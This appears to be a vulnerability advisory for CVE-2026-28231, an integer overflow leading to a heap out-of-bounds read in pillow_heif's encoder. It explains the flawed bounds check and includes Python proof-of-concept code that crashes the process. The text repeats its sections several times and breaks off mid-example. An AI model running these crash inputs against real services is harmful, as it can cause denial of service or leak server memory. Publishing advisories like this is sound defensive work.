CVE-2026-28231

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

• True product: 12,884,901,888
• int32 product: 0 (wraps around)
• Comparison: 0 > buffer.len → false → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

• The decode path is partially guarded by libheif's built-in security limits
• The encode path has no such guards — DISABLE_SECURITY_LIMITS is irrelevant
• The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c):

• _CtxWriteImage_add_plane() — line 158
• _CtxWriteImage_add_plane_la() — line 344
• _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024)  # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
    print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
    print(f"[*] MemoryError (libheif caught it later): {e}")
    print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX…

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

• True product: 12,884,901,888
• int32 product: 0 (wraps around)
• Comparison: 0 > buffer.len → false → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

• The decode path is partially guarded by libheif's built-in security limits
• The encode path has no such guards — DISABLE_SECURITY_LIMITS is irrelevant
• The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c):

• _CtxWriteImage_add_plane() — line 158
• _CtxWriteImage_add_plane_la() — line 344
• _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024)  # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
    print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
    print(f"[*] MemoryError (libheif caught it later): {e}")
    print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX…

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.

These are all security issues fixed in the python311-pillow-heif-1.3.0-1.1 package on the GA media of openSUSE Tumbleweed.